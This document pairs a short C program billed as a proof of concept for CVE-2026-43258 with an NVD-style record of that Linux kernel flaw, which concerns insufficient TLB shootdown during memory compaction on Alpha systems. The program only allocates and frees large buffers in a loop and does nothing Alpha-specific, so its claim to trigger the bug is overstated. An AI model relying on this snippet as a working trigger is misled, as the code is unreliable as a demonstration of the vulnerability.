CVE-2026-43258

/* * PoC for CVE-2026-43258 (Linux Kernel Alpha Memory Corruption) * This PoC attempts to trigger memory compaction on Alpha systems. * Compile: gcc -o poc_cve2026_43258 poc_cve2026_43258.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #define ALLOC_SIZE (1024 * 1024 * 10) // 10MB chunks void trigger_memory_stress() { void *ptr; int i; printf("[*] Starting memory stress test to trigger compaction...\n"); for (i = 0; i < 100; i++) { ptr = malloc(ALLOC_SIZE); if (!ptr) { perror("malloc failed"); continue; } // Touch memory to ensure physical pages are allocated memset(ptr, 'A', ALLOC_SIZE); // Free immediately to create fragmentation free(ptr); // Small delay to allow kernel scheduler to run compaction usleep(1000); } printf("[+] Stress test completed. System may be unstable.\n"); } int main() { // Note: This requires a system with memory compaction enabled on Alpha arch trigger_memory_stress(); return 0; }

{"cve": {"id": "CVE-2026-43258", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:46.650", "lastModified": "2026-05-11T18:10:27.473", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nalpha: fix user-space corruption during memory compaction\n\nAlpha systems can suffer sporadic user-space crashes and heap\ncorruption when memory compaction is enabled.\n\nSymptoms include SIGSEGV, glibc allocator failures (e.g. \"unaligned\ntcache chunk\"), and compiler internal errors. The failures disappear\nwhen compaction is disabled or when using global TLB invalidation.\n\nThe root cause is insufficient TLB shootdown during page migration.\nAlpha relies on ASN-based MM context rollover for instruction cache\ncoherency, but this alone is not sufficient to prevent stale data or\ninstruction translations from surviving migration.\n\nFix this by introducing a migration-specific helper that combines:\n - MM context invalidation (ASN rollover),\n - immediate per-CPU TLB invalidation (TBI),\n - synchronous cross-CPU shootdown when required.\n\nThe helper is used only by migration/compaction paths to avoid changing\nglobal TLB semantics.\n\nAdditionally, update flush_tlb_other(), pte_clear(), to use\nREAD_ONCE()/WRITE_ONCE() for correct SMP memory ordering.\n\nThis fixes observed crashes on both UP and SMP Alpha systems."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.16.1", "versionEndExcluding": "6.12.75", "matchCriteriaId": "B61C2D7F-08C5-489E-8C29-2AFB211FF84B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.16:-:*:*:*:*:*:*", "matchCriteriaId": "EBF2513D-8F4F-4ED5-ADCE-9933F34F1BFB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.16:rc2:*:*:*:*:*:*", "matchCriteriaId": "CC3639E1-B5E4-4DD6-80D4-BA07D192C42D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.16:rc3:*:*:*:*:*:*", "matchCriteriaId": "54393D69-B368-4296-9798-D81570495C6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.16:rc4:*:*:*:*:*:*", "matchCriteriaId": "6791A801-9E06-47DD-912F-D8594E2F6B3F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.16:rc5:*:*:*:*:*:*", "matchCriteriaId": "AE90CCED-3A5B-46E3-A6B0-4865AB786289"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.16:rc6:*:*:*:*:*:*", "matchCriteriaId": "CBFF6DE7-6D7C-469A-9B2D-2F6E915F55B0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.16:rc7:*:*:*:*:*:*", "matchCriteriaId": "D0CD4E4B-E756-4401-A352-871EBA5B8680"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/03e42b5f7ad4c2c3db8bd384bab7990d5d53c90f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bab8d762a8dbb816b10011e13b87d1bca91e5f77", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d4ca6ca2c6f5a1d19d9014c5b36d96637846b5d6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/dd5712f3379cfe760267cdd28ff957d9ab4e51c7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}